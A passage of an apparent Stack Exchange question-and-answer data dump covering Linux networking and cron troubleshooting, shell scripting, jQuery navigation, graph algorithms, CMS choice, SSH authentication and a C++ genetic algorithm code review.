ways:Given a function $f$, consider the language of pairs $\\langle x,f(x) \\rangle$.Given a function $f$, consider the language of triples $\\langle x,i,b \\rangle$ such that the $i$th bit of $f(x)$ (if any) equals $b$.As usual, we require that the machine always halt."  } 
{  "id": "_unix.297776"  , "question": "I have installed Linux Mint 18 64 bit and noticed Google and Youtube and others loading flawlessly (even HD videos play) but some sites like Wikipedia don't show up even though the tabs in Mozilla either show loading or show wikipedia - the free encyclopedia but then the site doesn't appear.The computer loads some sites but doesn't load others, and they don't change  if site A doesn't load then it doesn't load next time either. If site B loads then it loads afterwards too.Last time I checked the internet connection in a different computer  with windows  everything worked, so it's not ISP's fault.It does this even with ufw disabled.Doesn't work with Mint liveDVD either. It's the same thing.If I open up a web proxy and type in Wikipedia then it goes there.  Same thing with other browsers.After typing wget wikipedia.org:--2016-07-20 21:30:40--  http://wikipedia.org/Resolving wikipedia.org (wikipedia.org)... 91.198.174.192, 2620:0:862:ed1a::1Connecting to wikipedia.org (wikipedia.org)|91.198.174.192|:80... connected.HTTP request sent, awaiting response... 301 TLS RedirectLocation: https://wikipedia.org/ [following]--2016-07-20 21:30:40--  https://wikipedia.org/Connecting to wikipedia.org (wikipedia.org)|91.198.174.192|:443... connected.HTTP request sent, awaiting response... 301 Moved PermanentlyLocation: https://www.wikipedia.org/ [following]--2016-07-20 21:30:40--  https://www.wikipedia.org/Resolving www.wikipedia.org (www.wikipedia.org)... 91.198.174.192, 2620:0:862:ed1a::1Connecting to www.wikipedia.org (www.wikipedia.org)|91.198.174.192|:443... connected.HTTP request sent, awaiting response... 200 OKLength: unspecified [text/html]Saving to: index.htmlindex.html              [<=>                 ]       0 --.-KB/s    ..and it stops and never continues. I had to interrupt it.The index.html I found in my home folder is totally empty BUT at the tab it says Wikipedia.dig wikipedia.org output is:; <<>> DiG 9.10.3-P4-Ubuntu <<>> wikipedia.org;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15688;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1;; OPT PSEUDOSECTION:; EDNS: version: 0, flags:; udp: 4096;; QUESTION SECTION:;wikipedia.org.         IN  A;; ANSWER SECTION:wikipedia.org.      343 IN  A   91.198.174.192;; Query time: 21 msec;; SERVER: 193.231.252.1#53(193.231.252.1);; WHEN: Wed Jul 20 21:38:59 EEST 2016;; MSG SIZE  rcvd: 58After ping -c 3 wikipedia.org:PING wikipedia.org (91.198.174.192) 56(84) bytes of data.64 bytes from text-lb.esams.wikimedia.org (91.198.174.192): icmp_seq=1 ttl=59 time=50.5 ms64 bytes from text-lb.esams.wikimedia.org (91.198.174.192): icmp_seq=2 ttl=59 time=48.3 ms64 bytes from text-lb.esams.wikimedia.org (91.198.174.192): icmp_seq=3 ttl=59 time=49.4 ms--- wikipedia.org ping statistics ---3 packets transmitted, 3 received, 0% packet loss, time 2003msrtt min/avg/max/mdev = 48.342/49.475/50.594/0.954 msAfter ping -c 3 91.198.174.192:PING 91.198.174.192 (91.198.174.192) 56(84) bytes of data.64 bytes from 91.198.174.192: icmp_seq=1 ttl=59 time=50.6 ms64 bytes from 91.198.174.192: icmp_seq=2 ttl=59 time=50.7 ms64 bytes from 91.198.174.192: icmp_seq=3 ttl=59 time=48.2 ms--- 91.198.174.192 ping statistics ---3 packets transmitted, 3 received, 0% packet loss, time 2003msrtt min/avg/max/mdev = 48.267/49.898/50.796/1.155 msIt's not an MTU issue.Edit: At the suggestion of mrwhale I will post the output of route -n, ip route, and cat /etc/resolv.conf in both the usable distro and the not-so-usable distro. I mentioned that internet works on a web proxy and he asked me to post this.On the usable distroroute -nKernel IP routing tableDestination Gateway Genmask Flags Metric Ref Use Iface0.0.0.0 10.0.0.1 0.0.0.0 UG 0 0 0 ppp010.0.0.1 0.0.0.0 255.255.255.255 UH 0 0 0 ppp0ip routedefault via 10.0.0.1 dev ppp0 proto static10.0.0.1 dev ppp0 proto kernel scope link src (here it showed my IP address)cat /etc/resolv.confDynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTENnameserver 127.0.1.1On the current broken distro (Linux Mint)route -nKernel IP routing tableDestination Gateway Genmask Flags Metric Ref Use Iface0.0.0.0 10.0.0.1 0.0.0.0 UG 100 0 0 ppp010.0.0.1 0.0.0.0 255.255.255.255 UH 100 0 0 ppp0169.254.0.0 0.0.0.0 255.255.0.0 U 1000 0 0 ppp0ip routedefault via 10.0.0.1 dev ppp0 proto static metric 10010.0.0.1 dev ppp0 proto kernel scope link src (my IP address) metric 100169.254.0.0/16 dev ppp0 scope link metric 1000cat /etc/resolv.confDynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTENnameserver 193.231.252.1nameserver 213.154.124.1nameserver 127.0.1.1"  , "title": "Some websites load while others load forever in Linux Mint 18"  , "tags": "networking;linux mint"  } 
{  "id": "_unix.140150"  , "question": "From time to time crontab -e fails on me on a Ubuntu box. It is the same for all users including the root and crontab -eu <user> under the root. Goes like this on a regular basis, a success here and there:$ crontab -e/tmp/crontab.SHw8Ge: Input/output errorCreation of temporary crontab file failed - aborting$ crontab -e/tmp/crontab.L8gEG4: Input/output errorCreation of temporary crontab file failed - aborting$ crontab -ecrontab: installing new crontab$ crontab -e/tmp/crontab.Vvp59T: Input/output errorCreation of temporary crontab file failed - aborting$ crontab -ecrontab: installing new crontabI don't seem to be having problems creating files there by hand or script repeatedly:$ vim /tmp/crontab.Vvp59T$ ls -la /tmp/crontab.Vvp59T-rw-r--r-- 1 <user> <user> 6 2014-07-01 04:17 /tmp/crontab.Vvp59T/tmp permissions:$ ls -la /...drwxrwxrwt  92 root root 20480 2014-07-01 04:24 tmp...Looks like a storage issue to me, no clue how to prove or rule that out. Any ideas what could be causing this and how to test?$ lsb_release -dcDescription:    Ubuntu 9.10Codename:       karmicUpdate regarding comments:/tmp disk space use is 5%, inode use 1%. Crontab file size is 13K, ~200 lines. All this seems okay."  , "title": "`crontab -e` sometimes fails with Creation of temporary crontab file failed"  , "tags": "ubuntu;files;cron;io;storage"  } 
{  "id": "_softwareengineering.115250"  , "question": "I am not sure if this is the right place to ask this but I wrote an app that shows all the movies in one's computer with the appropriate info such as genre, director, rating, etc.I am wondering how can I make it so that the user can filter them based on criteria such as genre, rating, etc?Most of them are enums, and I was thinking of using a ComboBox for these but they should be able to specify more than 1 genre. So should I use ListBox controls for these? Then it will be harder to present all these options in listboxes.I haven't seen any examples of apps doing similar things, that's why I am not sure.Any ideas?"  , "title": "How to allow filtering Films in my app intuitively? (GUI design)"  , "tags": "c#;design;.net;gui"  , "accepted_answer": "You can implement or get elsewhere a custom component that allows for checkboxes in front of items in a drop down list, similar to what you can find in Excel.Another option would be to have a button that says Filter... and then you open a dialog box in which you have a drop down list with the criteria, e.g. Director, Genre, etc. Depending on the choice of the criteria you could then offer the values, e.g. when Director is selected, a list box could contain the names of directors. When Genre is selected in the drop down, the list box could contain the different genres. Each of the value lists could also contain the value All as the first entry. When you click this it ticks all entries in the list.Upon closing this dialog box you probably want to also indicate somehow that a filter has been applied. Maybe in the column header.Of course these are just some very simple suggestions. User interface have a gazillion options for how to represent something and you make it very flashy. At some point it is a matter of taste but you certainly want to try out your UI to see whether it works with others."  } 
{  "id": "_unix.324729"  , "question": "I just upgraded my ThinkPad T560 from Fedora 24 to Fedora 25.On Fedora 24, I used these commands$ xrandr --output eDP-1 --scale 1.25x1.25$ xrandr --output eDP-1 --panning 3600x2025to set up proper scaling. These commands no longer work on Fedora 25:$ xrandr --output eDP-1 --scale 1.25x1.25warning: output eDP-1 not found; ignoringApparently the display identifier is now XWAYLAND0 (and not eDP-1 anymore):$ xrandr -qScreen 0: minimum 320 x 200, current 2880 x 1620, maximum 8192 x 8192XWAYLAND0 connected 2880x1620+0+0 340mm x 190mm   2880x1620     59.92*+However, using this new identifier with the old command also does not work:xrandr --output XWAYLAND0 --scale 1.25x1.25X Error of failed request:  BadValue (integer parameter out of range for operation)  Major opcode of failed request:  139 (RANDR)  Minor opcode of failed request:  26 (RRSetCrtcTransform)  Value in failed request:  0x20  Serial number of failed request:  22  Current serial number in output stream:  23As a short term solution I choose GNOME on Xorg on login. Then I can use the xrandr commands shown above as before.Can somebody please point me to a how-to for properly setting up HiDPI displays on Fedora 25? Thanks!"  , "title": "Fedora 25, Wayland, and HiDPI display"  , "tags": "fedora;wayland"  } 
{  "id": "_unix.369691"  , "question": "My diff shows some numerical differences between two log files. That means for example:fileA:         Parameter            n (fill abs)        /All_Data/Height     9830400fileB:         Parameter            n (fill abs)        /All_Data/Height     9830500SO, if the diff command is executed between the files:% diff fileA fileB-> < /All_Data/Height     9830400---> /All_Data/Height     9830500I would like to set a threshold in the diff command what is to saydisplay the difference if the discrepancy between the number is greater than 500. So 9830400-9830500=100. No differences should be displayed."  , "title": "Can diff show numerical differences, with a threshold to not show them as differences?"  , "tags": "diff;file comparison;numeric data"  } 
{  "id": "_unix.93729"  , "question": "After my last dist-upgrade of my testing debian system, X refuses to start. I can see the following error (which shows up when gnome-session is started): symbol lookup error: /usr/lib/i386-linux-gnu/libcairo.so.2: undefined  symbol: glXGetProcAddressBesides, even texlive refuses to upgrade, with the same error (caused by luatex).I don't know how to fix this issue: is it possibile that one crucial library is missing? If not, what else could cause this problem?"  , "title": "error caused by undefined symbol: glXGetProcAddress"  , "tags": "debian;xorg;system installation"  , "accepted_answer": "@peterph's answer was very close to the problem.The video card was a Matrox G550 (mga) but in the past there been an nvidia installed and some glx stuff remained in /usr/lib/tls.I've not experience with the mga driver but my understanding is that there's not a proprietary glx implementation, so we gone ahead trying to get the mesa working.Once installed libgl1-mesa-glx and glx-alternative-mesa we checked the libcairo with ldd, then used dpkg -S with full path to understand from which packages were picked the libGL and libGLcore resolved by ldd, just to check that was mesa, both the libraries weren't in any package.Moved those libraries away and this time ldd shown the right mesa libraries were used, at this point I asked @zar to check again and his answer been that this time apt-get -f install finished properly and gdm3 run without errors.Even being a bug I think we can't fill any bug request as the non debianized nvidia driver broken the contract.Proprietary drivers installation are still evil, I don't understand why they favor their own crap supposed-to-install-everywhere.run instead of looking for some collaboration effort at least with major distros (that probably would come for free/no charge)."  } 
{  "id": "_unix.117609"  , "question": "#!/bin/shif [ $(ls sample01.log | wc -l) = 1 ]thenecho File Found > lsOutput.logelseecho File Not Found > lsOutput.logfiBut if sample01.log is not already existing my code already returns the error:ls: cannot access sample01.log: No such file or directoryAnd the code will not run anymore. The File Not Found will not be displayed anymore. I wanted to capture that error to file (No such file or directory) so each time such error occurs, it is written and documented on the log file.Thank you."  , "title": "Capture Error of LS to file"  , "tags": "shell;shell script;files;io redirection"  , "accepted_answer": "You don't need to parse ls in order to determine if a file exists.help test would tell you:  -e FILE        True if file exists.You could say:if [ -e sample01.log ]then  echo File Found > lsOutput.logelse  echo File Not Found > lsOutput.logfiIf you want to ensure that the file is a regular file, use -f instead:  -f FILE        True if file exists and is a regular file.(What you've done also works, but it causes ls to emit an error message (to STDERR) which perhaps leads you into thinking that it doesn't work.)"  } 
{  "id": "_codereview.86400"  , "question": "I created this responsive jQuery navigation which will re-size when the pixels get < 500 px and display the mobile navigation, although when the browser resizes > 500px it runs the widthCheck() function which is supposed to run the jQuery code that returns it to tablet/desktop size, although it doesn't do this transition smoothly.Could someone help me? Maybe this is something in my code that isn't proper. It works but it isn't doing it smoothly.$(document).ready(function() { //on ready function    widthCheck ();$(window) .resize(function(){ //Resize widthCheck    widthCheck ();});$('.nav a') .click(function(){ //NavLinkClick Function Event Handler    navLinkClick();});/*============= Mobile Navigation Click Function ================*/$('#menu').click(function(){      $(this).toggleClass('open');      if ($(this)        .hasClass('open')) {        $('.nav')          .slideDown('fast', function() {          $('.nav a')            .fadeIn('fast');          });       }       else {        $('.nav a')         .fadeOut('fast', function() {         $('.nav')          .slideUp('fast');        });       }     });}); //Document.Ready Close/*============= Nav Links Click Function ================*/    function navLinkClick () { //Nav Link Function        var width = $(window).width();        if (width <= 500) {           $('.nav a')            .fadeOut('fast', function() {               $('.nav')                .slideUp('fast');           });        }    } /*============= Device Width Check Function ================*/    function widthCheck () { // Device Width Check        var width = $(window).width(),            $menu = $('#menu'),                $nav = $('.nav'),                    $navA = $('.nav a');        if (width <= 500) {            $navA             .fadeOut(400, function() {                $nav                 .slideUp(400,function(){                    $menu                     .fadeIn(400);                });            });        } // Close If         else {            $menu             .fadeOut('fast', function() {                $nav                 .slideDown(400, function() {                    $navA                     .fadeIn(400);                });            });        } // Close Else    } //Close Function/******************************************************************Website Name: Website URL:Website Description: Author:Sean ParsonsAuthor Portfolio: http://seanpar203.github.io/portfolio/Author Linkedln: https://www.linkedin.com/in/seanparsons203******************************************************************//* Table of Content==================================================#Fonts#Reset & Basics#Header & Navigation  *//*#Fonts=================================================================== */@import url(http://fonts.googleapis.com/css?family=Source+Sans+Pro:400,600,700);@import url(http://fonts.googleapis.com/css?family=Pacifico);/*#Reset & Basics=================================================================== */  html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video {    margin: 0;    padding: 0;    border: 0;    font-size: 100%;    font: inherit;    font-family: 'Source Sans Pro', sans-serif;     }article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section {    display: block; }body {    line-height: 1; }ol, ul {    list-style: none; }blockquote, q {    quotes: none; }table {    border-collapse: collapse;    border-spacing: 0; }   .active{    color: rgb(255,255,255);   }/* #Header=================================================================== *//*Header Color*/.header { position: fixed; width: 100%; background-color: #cc4646; padding-bottom: 20px; border-bottom: 4px solid black;}/* Logo Attributes */.logo { font-family: 'Pacifico', cursive; font-size: 2.2em; color: #fff; font-weight: bold; text-decoration: none; height: 70px; margin-top: 20px; padding-bottom: 15px;}/*Navigation Attributes*/nav ul li { margin-top: 15px; padding-bottom: 15px; font-size: 1.2em; font-variant: small-caps; text-align: center;}nav a { text-decoration: none; color:rgba(255,255,255, 0.65); }nav a:hover { text-decoration: none; color: rgb(255,255,255);}/* Mobile Navigation Button*/#menu { position: fixed; top: 2em; right: 1.5em; cursor: pointer;}<script src=https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js></script><html lang=en> <head>  <meta charset=utf-8>  <meta http-equiv=X-UA-Compatible content=IE=edge>  <meta name=viewport content=width=device-width, initial-scale=1>  <meta name=description content= Website Description >  <meta name=keywords content= Website Keywords >  <meta name=author content= Website Author >   <title>Test Website</title>  <!-- Bootstrap CSS -->  <link rel=stylesheet href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css>  <!-- Main Style Sheet -->  <link rel=stylesheet type=text/css href=main.css>    <!-- jQuery -->  <script src=https://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js></script></script></head><body>  <header class=header>    <nav>     <div class=rows container-fluid>      <h1 class=logo col-md-10 col-xs-10>Sean Parsons Portfolio</h1><!--/====/===/===/===/ Button For Mobile Navigation ===/===/===/===/===/== -->      <div id=menu class=col-md-2 col-xs-2>   <img  src=https://cdn3.iconfinder.com/data/icons/eightyshades/512/45_Menu-128.png height=40px width=40px alt=Mobile Menu>   </div>       <div class=container>    <!-- Navigation Links -->       <ul class=nav>        <div class=col-xs-6 col-sm-4 col-md-2>            <li><a href=# title=Home>Home</a></li>           </div>           <div class=col-xs-6 col-sm-4 col-md-2>             <li><a href=# title=About Me rel=author>About Me</a></li>           </div>           <div class=col-xs-6 col-sm-4 col-md-2>              <li><a href=# title=Skills>Skills</a></li>           </div>           <div class=col-xs-6 col-sm-4 col-md-2>            <li><a href=# title=Experience>Experience</a></li>           </div>           <div class=col-xs-6 col-sm-4 col-md-2>            <li><a href=# title=Portfolio>Portfolio</a></li>           </div>           <div class=col-xs-6 col-sm-4 col-md-2>            <li><a href=# title=Contact Us>Contact Us</a></li>           </div>       </ul>   </div> <!-- Navigation Container Collapse -->  </div> <!-- Row/Container-Fluid Collapse --> </nav>      </header><!--/.header-->          </body></html>"  , "title": "Nav slider needs to be smoothed out"  , "tags": "javascript;jquery;html;css"  } 
{  "id": "_cs.62981"  , "question": "Let's say I have a graph with $N$ nodes, $A$ arcs and an average branching factor $b$.  I want to find the $K$ shortest paths between two nodes.Is there some relation (even approximate is fine) that expresses the dependency between the parameter $K$ and percentage of nodes included in the paths discovered by running the algorithm (Yen's loopless KSP)?For example, in a graph of 20 nodes, the ($1st$) shortest path from node $1$ to $12$ is $1-4-7-12$, while the $2nd$ shortest path is $1-4-6-9-12$.So for $K=1$, the discovered path contains $4/20 = 20\\%$ of the nodes in the graph. For $K=2$, the two paths contain $6/20 = 30\\%$ of the nodes. This relation between $K$ and the percentage is what I'm looking for."  , "title": "K shortest paths - any relation between K and % of graph nodes in discovered paths?"  , "tags": "algorithms;graphs;shortest path"  } 
{  "id": "_softwareengineering.118962"  , "question": "Sometimes I stare blankly into space or sketch ideas and write some pseudo codes on paper. Then I scratch it out and start again, then when I think I have the correct solution for the problem I begin writing the code.Is it normal to think for days without writing any code? Is this a sign that I am approaching the problem entirely wrong? It makes me nervous to not getting any tangible code written in my IDE."  , "title": "Is it normal to think about a design problem for days with no code written?"  , "tags": "design"  , "accepted_answer": "Depending on the problem you are trying to solve, the design phase can take weeks and months (if not years), not just days.It takes experience to not start bashing out code immediately. Thinking about the architecture and high level design should take days if not longer - definitely something that should happen before you start writing your code."  } 
{  "id": "_codereview.88456"  , "question": "Edit. Version 2.I am working on a genetic algorithm in order to solve a little puzzle.Given a text file with N rows with 4 int each, the idea is to establish 2 bijections between 2 x 2 columns and the same number of 0 in each column. For this purpose, the program is only allowed to shift the data to the right. For example, if a row has elements {1, 2, 3, 4}, they can be not shifted at all, shift 1 place ({4, 1, 2, 3}), 2 places ({3, 4, 1, 2}) or 3 places ({2, 3, 4, 1)}. No vertical permutations are allowed. No horizontal shuffles are allowed (e.g: {1, 4, 2, 3} is forbidden). When a solution is found, a text file outputs the DNA of this puzzle with each gene being 0, 1, 2, or 3, that is if and how many times each row is shifted. Example: a 36 rows puzzle can give: 1113311331133111, the first 1 refering to the fact that row #1 is shifted one time to the right; the last 1 refering to the fact that row #16 is also shifted one time to the right.This input text is formated like this: 1. 2 3 4 5. The first number 1. is the identification of the row, and 2 3 4 5 are the elements of this row. The bijections are to be established between the column containing the first elements and the third one; and between the second one and the fourth one. I hope my explanation is clear. If not, it is detailed here.My program works, but it does not seem efficient. Of course, it is difficult to evaluate the efficiency of a genetic algorithm, but I think the way I code is far from being optimal (see for example the horrible use of Goto that seems to me extremely useful in this context, but is not recommended...).My code is a little bit long, and I doubt you have time to go into the details of its implementation, of course. But I think you can easily spot  what seems wrong with my code, or what can be improved. Indeed, I think my code does not use the memory efficiently, but I do not know how to solve this issue. I have selected only the relevent segments of the code (I show the deleted segments with [. . .]); the full source code is released here if you are interested.Moreover, if you have any comment regarding the genetic algorithm parameters (population, mutation, etc) feel free to share them.#define PUZZLE 36#define POPULATION 30#define COMPTEUR PUZZLE * POPULATION * 50#define TEST 0#define COUPE 50#define MUTATION 1#include <iostream>#include <algorithm>#include <vector>#include <fstream>#include <string>#include <math.h>#include <random>#include <functional>#include <stdlib.h>#include <ctime>#include <iomanip>using namespace std;random_device rd;mt19937 gen(rd());uniform_real_distribution<double> dist(0, 4);class Pieces{public:    vector<int> ADN;    int intersections;    double fitness;    bool best;    bool candidat;    bool solution;    Pieces(){};    ~Pieces(){};}; int reproduction(int geneA, int geneB, int j){    if (j < ((COUPE * PUZZLE) / 100))        return geneA;    else return geneB;} int aleADN(){    if (TEST == 0)         return (int)dist(gen);    else return 0;}int main(){    unsigned long compteur = 0;    int i, j, k;    string e1, e2, e3, e4, e5;    vector<int> R, A, B, C, D; // A droite, B bas, C gauche, D haut    if (TEST != 0) cout << TEST << endl;/*  -----------------------      OPENING OF THE FILE      -----------------------*/    [. . .]/*  -------------------     INTEGRITY CHECKS    -------------------*/    [. . .]/*  ------------------      INITIALIZATION      ------------------*/    [. . .]    Pieces * pieces = new Pieces[POPULATION];/*  -------------      EVOLUTION    -------------*/    do    {        double fitness = 0;        double fitness_ref = fitness;        for (i = 0; i < POPULATION; i++)        {            pieces[i].ADN.clear();            for (j = 0; j < PUZZLE; j++)            {                pieces[i].ADN.push_back(aleADN());            }        }        for (i = 0; i < POPULATION; i++)        {            pieces[i].fitness = 0;            pieces[i].solution = false;            pieces[i].best = false;            pieces[i].intersections = 0;        }        do         {            compteur++;            for (i = 0; i < POPULATION; i++)            {                pieces[i].candidat = false;                pieces[i].best = false;            }/*  --------------      EVALUATION    --------------*/            int rotation;            for (i = 0; i < POPULATION; i++)            {                int** evaluation = new int*[4];                for (k = 0; k < 4; k++)                    evaluation[k] = new int[PUZZLE];                for (j = 0; j < PUZZLE; j++)                {                    rotation = pieces[i].ADN[j];                    evaluation[(0 + rotation) % 4][j] = A[j];                    evaluation[(1 + rotation) % 4][j] = B[j];                    evaluation[(2 + rotation) % 4][j] = C[j];                    evaluation[(3 + rotation) % 4][j] = D[j];                }                double eval = 0;                // EVAL BORDURES                bool OK_zeros = true;                int zeros;                for (int col = 0; col < 4; col++)                {                    zeros = 0;                    for (int j = 0; j < PUZZLE; j++)                    {                        if (evaluation[col][j] == 0)                        {                            zeros++;                        }                    }                    if (abs(nb_lignes - zeros) != 0)                    {                        OK_zeros = false;                        eval += abs(nb_lignes - zeros);                    }                }                if (OK_zeros != true) eval++;                // EVAL DOUBLONS                vector<int> bijA, bijB, bijC, bijD;                vector<int> intersection;                for (j = 0; j < PUZZLE; j++)                {                        bijA.push_back(evaluation[0][j]);                        bijB.push_back(evaluation[1][j]);                        bijC.push_back(evaluation[2][j]);                        bijD.push_back(evaluation[3][j]);                }                sort(begin(bijA), end(bijA));                sort(begin(bijC), end(bijC));                set_intersection(begin(bijA), end(bijA),                    begin(bijC), end(bijC),                    back_inserter(intersection));                bijA.clear(); bijC.clear();                eval += abs(PUZZLE - (int)intersection.size());                pieces[i].intersections = PUZZLE - (int)intersection.size();                intersection.clear();                sort(begin(bijB), end(bijB));                sort(begin(bijD), end(bijD));                set_intersection(begin(bijB), end(bijB),                    begin(bijD), end(bijD),                    back_inserter(intersection));                bijB.clear(); bijD.clear();                eval += abs(PUZZLE - (int)(intersection.size()));                pieces[i].intersections += PUZZLE - (int)intersection.size();                intersection.clear();                // Calcul du fitness                pieces[i].fitness = 1 / (eval + 1);                if (pieces[i].fitness == 1)                {                    pieces[i].solution = true;                    goto Solution;                }                for (k = 0; k < 4; k++)                    delete[] evaluation[k];                delete[] evaluation;            }/*  -------------      SELECTION    -------------*/            // Best            for (i = 0; i < POPULATION; i++)            {                if (pieces[i].fitness > fitness)                {                    fitness = pieces[i].fitness;                }            }            for (i = 0; i < POPULATION; i++)            {                if (pieces[i].fitness == fitness)                {                    pieces[i].best = true;                    break;                }            }            if (fitness > fitness_ref)            {                fitness_ref = fitness;                k = 0;                for (i = 0; i < POPULATION; i++)                {                    if (pieces[i].best == true && k == 0)                    {                        cout << pieces[i].intersections << \\t << fitness << endl;                        k++;                    }                }             }            // Roulette            double fitness_total = 0;            for (i = 0; i < POPULATION; i++)                fitness_total += pieces[i].fitness;            uniform_real_distribution<double> pool_rand(0, fitness_total);            vector<int> candidats;            vector<double> pool_fitness;            for (i = 0; i < POPULATION; i++)                pool_fitness.push_back(pieces[i].fitness);            sort(begin(pool_fitness), end(pool_fitness), greater<double>());            do {                double r = pool_rand(gen);                k = 0;                while (r > 0)                {                    r -= pool_fitness[k];                    k++;                }                for (i = 0; i < POPULATION; i++)                {                    if (pieces[i].fitness == pool_fitness[k - 1])                    {                        candidats.push_back(i);                        break;                    }                }            } while (candidats.size() < POPULATION);            pool_fitness.clear();/*  ----------------      REPRODUCTION    ----------------*/            for (i = 0; i < POPULATION; i++)            {                if (pieces[i].best == true)                {                    pieces[0].ADN = pieces[i].ADN;                }            }            for (i = 1; i < POPULATION; i++)            {                for (j = 0; j < PUZZLE; j++)                {                    pieces[i].ADN[j] =                        reproduction                        (                        pieces[0].ADN[j],                        pieces[candidats[i]].ADN[j],                        j                        );                }            }            candidats.clear();/*  ------------      MUTATION    ------------*/            uniform_real_distribution<double> mutation_rand(0, PUZZLE);            for (i = 1; i < POPULATION; i++)            {                for (j = 0; j < PUZZLE; j++)                {                    if (mutation_rand(gen) <= MUTATION)                    {                        pieces[i].ADN[j] = (int)dist(gen);                    }                }            }        } while (compteur < COMPTEUR);/*  ------------      SOLUTION    ------------*/    Solution:        for (i = 0; i < POPULATION; i++)        {            if (pieces[i].solution == true)            {                [. . .] // Save the output text file            }        }        compteur = 0;        cout <<  *RESET* << endl << endl;    } while (1);}"  , "title": "Genetic algorithm for solving a puzzle"  , "tags": "c++;beginner;combinatorics;genetic algorithm"  , "accepted_answer": "Constants#define PUZZLE 36#define POPULATION 30#define COMPTEUR PUZZLE * POPULATION * 50#define TEST 0#define COUPE 50#define MUTATION 1You're using C++. You have type-safe const declarations available. You should be using them instead of the textual substitution of #define macros. Instead write:const int PUZZLE = 36;const int POPULATION = 30;const int COMPTEUR = PUZZLE * POPULATION * 50;const int TEST = 0;const int COUPE = 50;const int MUTATION = 1;Choice of header files to include#include <math.h>#include <stdlib.h>These happen to be the C versions of the header files. You ought to be using the C++ versions of these files, as you are with <ctime>:#include <cmath>#include <cstdlib>Namespaceusing namespace std;Please, please, please don't do this. It's a really bad idea. You pollute the global namespace with everything from std::, and if anything in std:: conflicts with anything in your project, you're in big trouble.It's really not that much work to put the std:: prefix before the appropriate types and functions, but if you really want to avoid doing so, you can limit the namespace pollution to just those objects:using std::random_device;using std::mt19937;using std::uniform_real_distribution;using std::vector;using std::string;using std::cout;using std::endl;using std::sort;using std::set_intersection;using std::abs;Infinite loopsdo{   // [...]} while (1) The preferred idiom is for(;;) -- it makes it more clear from the beginning what's going on, without any magic numbers.Repeated codeLoopyYou don't need to pre-initialize pieces[i].best = false; since it will be initialized in the loop.A, B, C, DWhenever you repeat code with slightly different variables, it might be a good idea to put the things in an array and then loop over the array. Particularly since there's a connection between evaluation[0] and A.Get rid of an unnecessary loop        for (i = 0; i < POPULATION; i++)        {            if (pieces[i].fitness > fitness)            {                fitness = pieces[i].fitness;            }        }        for (i = 0; i < POPULATION; i++)        {            if (pieces[i].fitness == fitness)            {                pieces[i].best = true;                break;            }        }You could get away with only one loop, by maintaining a std::vector that stores the indexes of entries that are tied with the current best, .clear() ing the vector once you find something better, then looping over the vector to set the best entries when you're all done.Separate user interface and calculationsYou've got that cout in the middle of the routine. It should be in a separate routine. The calculation routine should return something; its caller should output."  } 
{  "id": "_webmaster.18298"  , "question": "I am a grey-haired professional programmer, quiet conversant in PHP, MySql, HTL, CSS which means I can tweak things or code plugins if need be, but Id like something off the shelf as far as possible.I would prefer something free but can pay if it is not hideously expensive (actually, I started out thinking free only, until I found http://pligg.com/ which is dedicated to communities, but has plugins which cost about $10, and I might be willing to pay for convenience). Before I found that, I was heavily in favour  of Drupal, but might be swayed by something dedicated to my needs or with many, many users or great support or a great deal of plug-ins.Anyhoo, what am I trying to do?A social site for ex-pats to help them adjust to their new country. Preparing to get there, legal/visa issues, employment opportunities, accommodation, shopping, plus social stuff.The demographic is mainly girls in their 20s, so a social angle is important. Integration of FaceBook, Flikr & the like might be nice. What I am thinking of is-   main content provided by me and a few moderators-   a Wiki to which everyone can contribute -   forums for discussions-   small ads/freebie-   user registration (which may limit access to certain parts of the site)-   groups of friends, with shared .. stuff (photos, discussion rooms, etc)-   per user blog-   per user photo album-   mailing lists-   I think you get the picture . 9and can you suggest moe?)As I said, I was originally set on Drupal, which also has some pre-configured distros, but I didnt find one yet that really matches my needs. Then I saw Pligg, which looks good, but I might have to shell out $100 or $200 to get it the way I want it. And I still continue to search.Any suggestions? Thanks"  , "title": "Which CMS system for a community based site?"  , "tags": "cms;community"  } 
{  "id": "_unix.61625"  , "question": "vi /etc/ssh/sshd_configegrep -i 'Pubkey|Password|Listen' /etc/ssh/sshd_config | grep -v '^#'    ListenAddress 0.0.0.0    PermitRootLogin without-password    PubkeyAuthentication yes    PasswordAuthentication noon an OpenBSD 5.1 server. But I can still login with FileZilla, and FileZilla only knows my password AFAIK (or not?).How can I restrict any ssh/scp/sftp access to only accept key auth?UPDATE: clinet side is a Scientific Linux 6.3, afaik the key is not cached."  , "title": "I'm only allowing pubkey auth via ssh. How can I still log in with password?"  , "tags": "ssh;scp;sftp"  , "accepted_answer": "Assuming your OS is Microsoft Windows, a SSH agent (like pageant) may have cached your key if you already connected your server using, for example, putty. see this page on Filezilla wiki for details. So your server is probably setup as needed."  } 
{  "id": "_unix.62556"  , "question": "Is it possible to issue WHOIS requests via my local machine over a port other than 43 to a remote box to execute? Ideally, I'm using Jsch and I'd like to be able to round-robin these requests. I've looked in /etc/services, didn't learn much. Anytime I specify a port other than 43, the whois request hangs (whois -p 4999 74.125.224.72).I know about the RIR's and their various limits, and I realize that I could pay somewhere like DomainTools. But let's be honest, that wouldn't as much fun, would it?"  , "title": "WHOIS over SSH via specific port"  , "tags": "port forwarding;whois"  } 
